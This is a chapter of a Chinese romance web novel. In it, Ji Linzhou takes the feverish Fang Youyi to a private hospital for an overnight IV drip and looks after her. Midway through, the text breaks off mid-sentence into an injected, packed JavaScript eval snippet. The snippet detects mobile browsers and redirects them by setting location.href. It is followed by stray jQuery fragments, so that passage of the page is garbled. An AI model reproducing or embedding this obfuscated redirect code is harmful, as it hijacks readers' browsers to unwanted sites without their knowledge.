6. 吊水

作品:《夜奔

    方幼宜从晚上回到酒店后就开始打开酒店的投影看电影。


    她本意是觉得无聊,打算把自己之前没看过的几个剧场版都看完,前面还看得挺认真,等到了中间就开始有些犯困,没过多久人就跟着睡了过去。


    梦里开始冷,但无意识的,有些醒不过来。


    方幼宜缩着肩膀,忽然感觉到有人在摁着自己的额头,什么东西贴了上去。


    眼眶有些痛,她迷迷糊糊强撑着睁开眼睛。


    纪临舟给她系好安全带,从车里的医药箱找到了退热贴,刚刚才给她贴上,方幼宜却忽然睁开眼睛,有些茫然地看着他,眼睛里少了点平常对他的戒备和不加掩饰的讨厌,


    “你发烧了。”


    他开口,告诉她,


    “送你去医院。”


    方幼宜皱了皱眉,


    “我没事,”


    她胳膊动了下,发现自己身上还披着件男士大衣,是纪临舟的。


    纪临舟没管她,已经侧过身发动了车辆。


    “现在太晚了,”


    方幼宜靠着椅背,


    “我不想去医院。”


    纪临舟没有说话,只从车前的后视镜里扫过她仍旧通红的脸,面无表情地说,


    “你打算把脑子烧坏再办婚礼也可以。”


    “你才把脑子烧坏。”


    方幼宜皱眉,觉得他讲话难听,但又没太多力气反驳,低头看了看他披在自己身上的衣服,还是解释,


    “我不是想把自己弄发烧来逃避办婚礼的”


    她声音低低的,因为没太多力气在车厢里显得很轻,难得的听出来几分愧疚。


    纪临舟把车开出库,没有回答她的话。


    方幼宜觉得冷,又有点被人误解的委屈,但不敢说,只抿着唇把大衣外套往肩膀边上拉过来点。


    纪临舟注意到她的动作,把车里的温度又调高了点,短暂地侧头看了她一眼,淡声道,


    “我也没觉得你会天真到这种程度。”


    方幼宜顿了下,脑袋烧的有些晕乎乎的,没听出他是在夸自己还是在贬低自己,吸了吸鼻子,懒得搭理他。


    岛上看病本来就不方便,尤其是过了凌晨时间医院只有急诊。


    私人医院这边,护士安排了单独的病房去吊水。


    方幼宜不太想在医院呆太久,但又看了眼上面的挂水瓶数,觉得今晚大概率是回不去了。


    纪临舟把她从车上抱下来到诊室那边查完温度,就去了外面缴费挂号,进来的时候方幼宜扎完针头了。


    他手里拿着几分报告单,抬头看了眼上面的吊水。


    “护士刚刚来过。”


    方幼宜开口,声音有点哑,觉得大半夜让他跟自己在医院有点不好意思,


    “你不用管我,我打完针自己回去。”


    纪临舟把报告单放在边上,走到她病床前,把吊水的位置调整了下,低头看她手臂上的输液管。


    “纪总,”


    徐易敲了敲门进来,手里拎着一只打包袋和文件包,看见方幼宜又开口,


    “太太。”


    方幼宜愣了下,下意识看纪临舟。


    纪临舟神色平淡,一边帮她把输液管的滴速调低一边朝着徐易侧了侧头,示意他把东西放下就可以走了。


    徐易把文件包放在边上的沙发,拎着打包袋到方幼宜床边。


    纪临舟调完输液管,拿着打火机出门从病房里出去了。


    徐易把打包袋拿到方幼宜跟前,拆开的时候有丝丝缕缕的香气溢出来。


    是打包过来的汤。


    方幼宜愣了愣,抬头往病房外面看过去,纪临舟估计是到楼道口抽烟了。


    徐易把汤放在她旁边方便的桌上,转身带上门出去。


    病房里很安静,方幼宜用另一只手喝的汤,时不时抬头往门口看一眼。


    纪临舟过了会儿才回来,方幼宜没闻到他身上的烟草味,估计是等烟味散了才进门的。


    徐易带过来的办公包里有笔记本,纪临舟回来后就在沙发那边打开了笔记本电脑开始工作。


    方幼宜尽量不打扰他,喝完一碗汤才把盖子盖上,打着吊水一只手不太方便,收拾的动作很慢。


    纪临舟似乎听见这边的动静,合上电脑,站起身走过来,把病床上的餐桌和碗一起收走


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14420567|153607||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    “……谢谢。”


    纪临舟没说什么,只抬头检查了下她上面的挂水,垂眼道,


    “要给你多拿两只枕头吗?”


    “不用。”


    方幼宜摇头,


    “我这样就好。”


    纪临舟没再说什么,转身回到沙发那边继续处理工作。


    四瓶吊水,方幼宜已经不记得是什么时候换的吊水,等再醒过来的时候护士正在给她拔针,纪临舟站在一旁。


    针头拔出来有些走血,护士把棉签压上去。


    方幼宜伸手按住,抬头看了眼窗边,天还是黑的,但墙上的挂钟时间已经到了早上五点多。


    纪临舟拿起电脑和车钥匙,出门前看了看她,又把大衣披在她肩膀上。


    走出医院大门,外面的路灯昏黄,黑色库里南停靠在路边。


    纪临舟先上车,把车往回开了点,放好电脑后下车过来帮她拉开车门。


    天空泛着点蓝,慢慢有点光亮了。


    方幼宜上车,低头系安全带的时候拿掉了手上的棉签。


    纪临舟侧头看见她自己低头系好了安全带,看了眼她刚才打针的那只手背。


    昨天晚上她半夜睡着,中间几次他帮他换吊水,方幼宜睡姿不太好,手肘抵着,针头往里偏了偏,发现的时候已经肿了,刚才护士帮忙拔针的时候青青紫紫的,她也一声没吭,好像完全不怕疼。


    到了酒店套房,酒店经理上楼来道歉。


    纪临舟懒得应付他们,直接让徐易去打发他们到外面。


    方幼宜坐在沙发上像是在找什么东西。


    纪临舟看了她一眼,到岛台那边烧了热水,给了她倒了杯放到旁边,


    “什么东西丢了?”


    他蹲下身,扶着沙发帮她在地毯上看。


    方幼宜愣了愣,烧了一晚上嗓子干哑的厉害,有些讲不出话,但看他的目光有点明显的闪躲,脸上也很明显把“我犯错了”四个字写在脸上。


    纪临舟动作顿了顿,看了她一会儿,眉梢挑了挑,视线下移落到她手上。


    方幼宜被他看的心虚,垂着头,把手往后缩了下。